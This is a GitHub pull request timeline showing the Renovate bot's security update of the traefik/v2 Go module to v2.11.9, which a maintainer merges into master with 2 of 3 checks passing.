@renovate renovate bot changed the title fix(deps): update module github.com/traefik/traefik/v2 to v2.11.6 [security] fix(deps): update module github.com/traefik/traefik/v2 to v2.11.9 [security] Sep 19, 2024
@renovate renovate bot force-pushed the renovate/go-github.com-traefik-traefik-v2-vulnerability branch from 28d2936 to 549153e Compare November 8, 2024 01:39
@kitos9112 kitos9112 merged commit 58460c4 into master Nov 24, 2024
2 of 3 checks passed
@renovate renovate bot deleted the renovate/go-github.com-traefik-traefik-v2-vulnerability branch November 24, 2024 10:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant